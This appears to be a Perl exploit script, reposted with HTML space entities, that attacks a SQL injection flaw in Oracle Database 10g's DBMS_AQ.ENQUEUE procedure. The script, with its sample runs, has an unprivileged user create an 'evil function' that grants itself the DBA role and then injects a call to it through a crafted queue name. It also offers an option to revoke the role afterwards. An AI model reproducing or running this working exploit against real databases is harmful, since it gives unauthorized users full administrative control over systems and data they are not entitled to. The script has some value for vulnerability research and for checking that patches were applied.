Oracle 10g DBMS_AQ.ENQUEUE SQL Injection Exploit

#!/usr/bin/perl # #&nbsp;[0-day]&nbsp;Remote&nbsp;Oracle&nbsp;DBMS_AQ.ENQUEUE&nbsp;exploit&nbsp;(10g) # #&nbsp;Grant&nbsp;or&nbsp;revoke&nbsp;dba&nbsp;permission&nbsp;to&nbsp;unprivileged&nbsp;user #&nbsp; #&nbsp;Tested&nbsp;on&nbsp;\"Oracle&nbsp;Database&nbsp;10g&nbsp;Enterprise&nbsp;Edition&nbsp;Release&nbsp;10.1.0.3.0\" #&nbsp;&nbsp;&nbsp; #&nbsp;&nbsp;&nbsp;AUTHOR:&nbsp;Andrea&nbsp;\"bunker\"&nbsp;Purificato #&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;http://rawlab.mindcreations.com # #&nbsp;&nbsp;&nbsp;DATE:&nbsp;&nbsp;&nbsp;Copyright&nbsp;2007&nbsp;-&nbsp;Mon&nbsp;Apr&nbsp;&nbsp;2&nbsp;11:54:22&nbsp;CEST&nbsp;2007 #&nbsp;&nbsp; #&nbsp;&nbsp;&nbsp;PATCH:&nbsp;&nbsp;http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2007.html&nbsp; # &nbsp;&nbsp;&nbsp;&nbsp;(CVE-2007-0268&nbsp;?) # # #&nbsp;Oracle&nbsp;InstantClient&nbsp;(basic&nbsp;+&nbsp;sdk)&nbsp;required&nbsp;for&nbsp;DBD::Oracle #&nbsp; # #&nbsp;bunker@fin:~/orasploit$&nbsp;perl&nbsp;dbms_aq-enqueue.pl&nbsp;-h&nbsp;localhost&nbsp;-s&nbsp;test&nbsp;-u&nbsp;bunker&nbsp;-p&nbsp;****&nbsp;-r #&nbsp;&nbsp;[-]&nbsp;Wait... #&nbsp;&nbsp;[-]&nbsp;Revoking&nbsp;DBA&nbsp;from&nbsp;BUNKER... #&nbsp;&nbsp;DBD::Oracle::db&nbsp;do&nbsp;failed:&nbsp;ORA-01951:&nbsp;ROLE&nbsp;\'DBA\'&nbsp;not&nbsp;granted&nbsp;to&nbsp;\'BUNKER\'&nbsp;(DBD&nbsp;ERROR:&nbsp;OCIStmtExecute)&nbsp;[for&nbsp;Statement&nbsp;\"REVOKE&nbsp;DBA&nbsp;FROM&nbsp;BUNKER\"]&nbsp;at&nbsp;dbms_aq-enqueue.pl&nbsp;line&nbsp;95. #&nbsp;&nbsp;[-]&nbsp;Done! #&nbsp; #&nbsp;bunker@fin:~/orasploit$&nbsp;perl&nbsp;dbms_aq-enqueue.pl&nbsp;-h&nbsp;localhost&nbsp;-s&nbsp;test&nbsp;-u&nbsp;bunker&nbsp;-p&nbsp;****&nbsp;-g #&nbsp;&nbsp;[-]&nbsp;Wait... #&nbsp;&nbsp;[-]&nbsp;Creating&nbsp;evil&nbsp;function... #&nbsp;&nbsp;[-]&nbsp;Go&nbsp;...(don\'t&nbsp;worry&nbsp;about&nbsp;errors)! #&nbsp;&nbsp;DBD::Oracle::st&nbsp;execute&nbsp;failed:&nbsp;ORA-25205:&nbsp;the&nbsp;QUEUE&nbsp;BUNKER.\'burp\'&nbsp;does&nbsp;not&nbsp;exist #&nbsp;&nbsp;ORA-06512:&nbsp;at&nbsp;\"SYS.DBMS_AQ\",&nbsp;line&nbsp;6 #&nbsp;&nbsp;ORA-06512:&nbsp;at&nbsp;\"SYS.DBMS_AQ\",&nbsp;line&nbsp;215 #&nbsp;&nbsp;ORA-06512:&nbsp;at&nbsp;line&nbsp;10&nbsp;(DBD&nbsp;ERROR:&nbsp;OCIStmtExecute)&nbsp;[for&nbsp;Statement&nbsp;\" #&nbsp;&nbsp;DECLARE #&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ident&nbsp;&nbsp;&nbsp;VARCHAR2(100); #&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;enq_opt&nbsp;dbms_aq.enqueue_options_t; #&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msg_prp&nbsp;dbms_aq.message_properties_t; #&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;msgid&nbsp;&nbsp;&nbsp;raw(100); #&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;payload&nbsp;raw(100); #&nbsp;&nbsp;BEGIN #&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ident&nbsp;:=&nbsp;\'\"\'\'\'||BUNKER.own||\'\'\'\"\'; #&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;dbms_aq.enqueue(ident,&nbsp;enq_opt,msg_prp,&nbsp;payload,&nbsp;msgid); #&nbsp;&nbsp;END; #&nbsp;&nbsp;\"]&nbsp;at&nbsp;dbms_aq-enqueue.pl&nbsp;line&nbsp;125. #&nbsp;&nbsp;[-]&nbsp;YOU&nbsp;GOT&nbsp;THE&nbsp;POWAH!! #&nbsp; #&nbsp;bunker@fin:~/orasploit$&nbsp;perl&nbsp;dbms_aq-enqueue.pl&nbsp;-h&nbsp;localhost&nbsp;-s&nbsp;test&nbsp;-u&nbsp;bunker&nbsp;-p&nbsp;****&nbsp;-r #&nbsp;&nbsp;[-]&nbsp;Wait... #&nbsp;&nbsp;[-]&nbsp;Revoking&nbsp;DBA&nbsp;from&nbsp;BUNKER... #&nbsp;&nbsp;[-]&nbsp;Done! # use&nbsp;warnings; use&nbsp;strict; use&nbsp;DBI; use&nbsp;Getopt::Std; use&nbsp;vars&nbsp;qw/&nbsp;%opt&nbsp;/; sub&nbsp;usage&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;<<\"USAGE\"; &nbsp;&nbsp;&nbsp;&nbsp; Syntax:&nbsp;$0&nbsp;-h&nbsp;<host>&nbsp;-s&nbsp;<sid>&nbsp;-u&nbsp;<user>&nbsp;-p&nbsp;<passwd>&nbsp;-g|-r&nbsp;[-P&nbsp;<port>] Options: &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-h&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<host>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target&nbsp;server&nbsp;address &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-s&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<sid>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;target&nbsp;sid&nbsp;name &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-u&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<user>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;user &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-p&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<passwd>&nbsp;&nbsp;&nbsp;password&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-g|-r&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(g)rant&nbsp;dba&nbsp;to&nbsp;user&nbsp;|&nbsp;(r)evoke&nbsp;dba&nbsp;from&nbsp;user &nbsp;&nbsp;&nbsp;&nbsp;[-P&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<port>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Oracle&nbsp;port] USAGE &nbsp;&nbsp;&nbsp;&nbsp;exit&nbsp;0 } my&nbsp;$opt_string&nbsp;=&nbsp;\'h:s:u:p:grP:\'; getopts($opt_string,&nbsp;\\%opt)&nbsp;or&nbsp;&usage; &usage&nbsp;if&nbsp;(&nbsp;!$opt{h}&nbsp;or&nbsp;!$opt{s}&nbsp;or&nbsp;!$opt{u}&nbsp;or&nbsp;!$opt{p}&nbsp;); &usage&nbsp;if&nbsp;(&nbsp;!$opt{g}&nbsp;and&nbsp;!$opt{r}&nbsp;); my&nbsp;$user&nbsp;=&nbsp;uc&nbsp;$opt{u}; my&nbsp;$dbh&nbsp;=&nbsp;undef; if&nbsp;($opt{P})&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;$dbh&nbsp;=&nbsp;DBI->connect(\"dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}\",&nbsp;$opt{u},&nbsp;$opt{p})&nbsp;or&nbsp;die; }&nbsp;else&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;$dbh&nbsp;=&nbsp;DBI->connect(\"dbi:Oracle:host=$opt{h};sid=$opt{s}\",&nbsp;$opt{u},&nbsp;$opt{p})&nbsp;or&nbsp;die; } my&nbsp;$sqlcmd&nbsp;=&nbsp;\"GRANT&nbsp;ALL&nbsp;PRIVILEGE,&nbsp;DBA&nbsp;TO&nbsp;$user\"; print&nbsp;\"[-]&nbsp;Wait... \"; if&nbsp;($opt{r})&nbsp;{ &nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;\"[-]&nbsp;Revoking&nbsp;DBA&nbsp;from&nbsp;$user... \"; &nbsp;&nbsp;&nbsp;&nbsp;$sqlcmd&nbsp;=&nbsp;\"REVOKE&nbsp;DBA&nbsp;FROM&nbsp;$user\"; &nbsp;&nbsp;&nbsp;&nbsp;$dbh->do(&nbsp;$sqlcmd&nbsp;); &nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;\"[-]&nbsp;Done! \"; &nbsp;&nbsp;&nbsp;&nbsp;$dbh->disconnect; &nbsp;&nbsp;&nbsp;&nbsp;exit; } print&nbsp;\"[-]&nbsp;Creating&nbsp;evil&nbsp;function... \"; $dbh->do(&nbsp;qq{ CREATE&nbsp;OR&nbsp;REPLACE&nbsp;FUNCTION&nbsp;OWN&nbsp;RETURN&nbsp;VARCHAR&nbsp; &nbsp;AUTHID&nbsp;CURRENT_USER&nbsp;AS&nbsp; &nbsp;PRAGMA&nbsp;AUTONOMOUS_TRANSACTION;&nbsp; BEGIN &nbsp;EXECUTE&nbsp;IMMEDIATE&nbsp;\'$sqlcmd\';&nbsp;COMMIT;&nbsp; &nbsp;RETURN&nbsp;\'burp\'; END; }&nbsp;); &nbsp; print&nbsp;\"[-]&nbsp;Go&nbsp;...(don\'t&nbsp;worry&nbsp;about&nbsp;errors)! \"; my&nbsp;$sth&nbsp;=&nbsp;$dbh->prepare(&nbsp;qq{ DECLARE &nbsp;&nbsp;&nbsp;&nbsp;ident&nbsp;&nbsp;&nbsp;VARCHAR2(100); &nbsp;&nbsp;&nbsp;&nbsp;enq_opt&nbsp;dbms_aq.enqueue_options_t; &nbsp;&nbsp;&nbsp;&nbsp;msg_prp&nbsp;dbms_aq.message_properties_t; &nbsp;&nbsp;&nbsp;&nbsp;msgid&nbsp;&nbsp;&nbsp;raw(100); &nbsp;&nbsp;&nbsp;&nbsp;payload&nbsp;raw(100); BEGIN &nbsp;&nbsp;&nbsp;&nbsp;ident&nbsp;:=&nbsp;\'\"\'\'\'||$user.own||\'\'\'\"\'; &nbsp;&nbsp;&nbsp;&nbsp;dbms_aq.enqueue(ident,&nbsp;enq_opt,msg_prp,&nbsp;payload,&nbsp;msgid);&nbsp; END; }); $sth->execute; $sth->finish; print&nbsp;\"[-]&nbsp;YOU&nbsp;GOT&nbsp;THE&nbsp;POWAH!! \"; $dbh->disconnect; exit; &nbsp;